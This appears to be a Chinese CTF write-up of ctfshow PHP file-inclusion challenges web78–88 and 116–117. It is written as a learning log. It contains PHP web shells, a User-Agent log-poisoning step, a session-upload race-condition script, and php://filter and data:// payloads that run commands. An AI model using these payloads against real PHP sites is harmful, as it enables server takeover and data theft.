ctfshow-web-78-88,web116-117-wp

78.

文件包含,以前也有。

这里cat不能用,直接用tac。

79.

str_replace("php", "???", $file);意思就是将file中所有php替换成???,其实就是过滤了php。

这里用了大小写绕过,也可以base64.

80.

这里data,php全被过滤,可以看看此文章。

利用伪协议实现命令执行_伪造协议控制指令-优快云博客

这里用hackbar行不通,只能用bp。

81.

看到这里,心里挺感动的,我会加油,努力成为大黑客。

这里过滤了:,只能用日志包含。

先访问日志文件,然后打开useragent,输入一句话木马。再执行命令

?file=/var/log/nginx/access.log
<?php eval($_POST['a']);?>

但是我这个死活没flag,有趣有趣。

ctfshow-web入门-文件包含(web78、web79、web80、web81)_ctfshow web80-优快云博客

CTFshow_Web_文件包含——web78~88、116~117_ctfshow web116-优快云博客

直接看上文,换个思路。直接再bp上进行。直接这上面改user-agent。go两次。

82-86.

这里利用什么session包含反序列化,看不懂了,大佬说下面一下脚本解决。等我再学会回来

# -*- coding: utf-8 -*-
# @author:lonmar
import io
import requests
import threading

sessID = 'flag'
url = ''     #这里改为题目的url地址


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(                                            
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},       #session中写入一句话
            files={'file': ('test.txt', f)}     #写入文件
        )


def read(session):
    while event.isSet():
        response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
        if 'test' in response.text: #如果成功打开文件,则竞争成功!
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 100):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 100):
            threading.Thread(target=read, args=(session,)).start()

这是web 82的答案,其他题也运行脚本解决即可。注意,要将https改为http,不然会出现ssL证书问题。

CTFshow_web入门_文件包含(web78~web88)_ctfshow web87-优快云博客

CTFshow_Web_文件包含——web78~88、116~117_ctfshow web116-优快云博客

87.

先上2篇文章,相当好,至少现在我不能写这么好。

ctfshow文件包含web87-117_ctfshow web87-优快云博客

ctfshow-web入门-文件包含(web87)巧用 php://filter 流绕过死亡函数的三种方法_ctfshow web87-优快云博客

file_put_content和死亡·杂糅代码之缘 - 先知社区

首先构造payload

/?file=php://filter/write=convert.base64-decode/resource=1.php

然后经历2次url编码,hackbar一次,代码要求一次。

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

然后post上传木马,木马要base64编码。

<?php @eval($_POST[1]);?>
content=11PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

然后访问1.php,post传参

1=system('ls');
1=system('tac flag.php');

88.

这个直接用伪协议即可

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg

编码内容是<?php systen('ls');?>,记得去等号,因为等号被过滤。

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs_Pg

这个编码内容是<?php system('tac *.php');?>

116.

这给要杂项的知识,有点不会啊,反正最后分离出这东东(以后再来,我要迅速学)。

file_get_contents是读取文件函数,所以直接猜测flag.php

117.

这题越加难ctfshow-web入门-文件包含(web88、web116、web117)_ctfshow web116-优快云博客

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码,两种脚本:

<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[1]);?>');
echo $re;
?>
​
str = "<?php @eval($_POST[1]);?>"
str_encoded = ''
for i in range(len(str)):
    if i % 2 == 1:
        str_encoded += str[i]
        str_encoded += str[i-1]
print(str_encoded) 		

​

得到:

?<hp pvela$(P_SO[T]1;)>?

接下来post传入:

contents=?<hp pvela$(P_SO[T]1;)>?

payload:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

然后就简单:

1=system("ls");
1=system("tac flag.php");

接下来:

结束了文件包含,找时间总结一下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值